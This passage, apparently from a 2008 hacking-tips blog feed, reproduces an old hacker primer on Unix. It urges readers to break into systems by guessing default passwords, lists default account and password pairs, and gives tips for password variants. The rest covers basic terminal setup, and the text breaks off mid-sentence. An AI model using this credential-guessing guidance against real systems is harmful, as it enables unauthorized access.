&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/MgTxcaCCWnoTkg_bwM1Vuvoqpqk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MgTxcaCCWnoTkg_bwM1Vuvoqpqk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/MgTxcaCCWnoTkg_bwM1Vuvoqpqk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MgTxcaCCWnoTkg_bwM1Vuvoqpqk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/_4741_d6ms8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/5304977510782887911/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=5304977510782887911" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/5304977510782887911?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/5304977510782887911?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/_4741_d6ms8/novices-guide-to-hacking.html" title="A Novice's Guide To Hacking" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/novices-guide-to-hacking.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEAAQH06eyp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-6803877516280697925</id><published>2008-08-12T07:51:00.000-07:00</published><updated>2008-08-12T07:52:21.313-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T07:52:21.313-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="UNIX" /><title>Basic UNIX Overview</title><content type="html">&lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;UNIX FOR DOS ADDICTED WaReZ PuPPieZ AND THEIR PETS&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Introduction&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;One of the most common operating systems in existance is Unix. Unix&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;exists in many different flavors, from Berkeley BSD to AT&amp;amp;T System V&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;to SunOs. Basic working knowledge of Unix is almost essential to a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;hacker, as it is the system a hacker is most likely to come across.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;If you intend to use the internet at all, or to do any serious&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;exploration of Telenet, the ability to navigate through Unix is a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;necessity. (Unix is also the single most interesting system in&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;existance: it's just fun to fuck with).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Unix Logins&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;-----------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Most Unix logins look essentially the same. A general Unix login&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;prompt looks something like this:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;connected to five.finger.com&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;login:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;That first line is the system identifier. Although it's not at all&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;essential to what you are doing, it's good to know what system you are&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;attempting to log on to.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The second line is what typically identifies the system you are on as&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Unix. Almost all Unix systems greet a user with the same prompt:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;login:.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Well, there's not much to do in Unix from the outside, and Unix&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;systems are typically fairly secure at this point. You may be able to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;obtain a list of users, or current users, by logging in as 'who', but&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;other than that there are few functions available here.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Unless you are on the internet, or have accounts specifically for the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;specific machine you are on, the only way on to the system is to try&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;the default passwords. What are the default passwords?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Unix systems come installed with certain passwords automatically. In&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;addition, some accounts must exist on a system. One such account is&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;'root'. This user is the divine Kami of the Unix system... in short,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;an all access pass. Unfortunately, few systems allow root logins&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;remotely, and even fewer leave 'root' unpassworded. Nevertheless, it's&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;always worth a shot... try this:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;connected to ren.stimpy.net&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;login: root&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;password: root&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;invalid login&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;login:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;well, nice try anyways... other possible passwords for root include&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;'sysadmin', 'sys', 'admin'... you get the idea. You may also want to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;try these passwords with a single digit appended (added, idiot) to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;them... meaning the password 'root' could be 'root1' or 'root2'.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;An interesting tip about passwords in general... many people that use&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;passwords under 8 characters tend to add a digit or a non-alphanumeric&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;character to the password. This is done in order to hinder guessing,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;and to stop password breakers (more on this later). In this case, you&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;may want to try adding a space before root... or even an ascii 255 to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;the end.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Fortunately, there is more than one default password in a unix&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;system... a quick list:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;sys&lt;span style=""&gt;        &lt;/span&gt;sys&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;bin&lt;span style=""&gt;        &lt;/span&gt;bin&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;daemon&lt;span style=""&gt;     &lt;/span&gt;daemon&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;rje&lt;span style=""&gt;        &lt;/span&gt;rje&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;setup&lt;span style=""&gt;      &lt;/span&gt;setup&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;uucp&lt;span style=""&gt;       &lt;/span&gt;uucp/nuucp/anonymous&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;nuucp&lt;span style=""&gt;      &lt;/span&gt;uucp/nuucp/anonymous&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;mountfsys&lt;span style=""&gt;  &lt;/span&gt;mountfsys&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;In the System&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;-------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Ok, at this point, I'm going to assume you've gotten past the login...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;as painful as that may sound. Although Unix may be secure from the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;outside, without effort from the system administrators, the inside of&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;the system is not.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;First off, you'll likely by asked for a terminal. vt100 serves your&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;purposes sufficently, and it's typically the default, so hit enter.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Now, hopefully, you have a prompt. There are many different types of&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;unix prompts, some of which contain current directory information,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;some of which are just a single character. Just don't panic when my&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;examples don't look exactly like what you've got on your screen.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The first thing you *need* to do on the system is establish your tty&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;paramters. As eldritch and arcane sounding as this term may seem, it's&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;actually quite simple... you need to tell the system what keys are&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;going to do what.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The command to set these parameters is 'stty'. Watch:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;squinkyB ] stty erase ^h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;squinkyB ]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;There... that wasn't so bad, was it? Well, it's also pretty&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;meaningless to you, unless you have the ascii table memorized and are&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;pretty good at 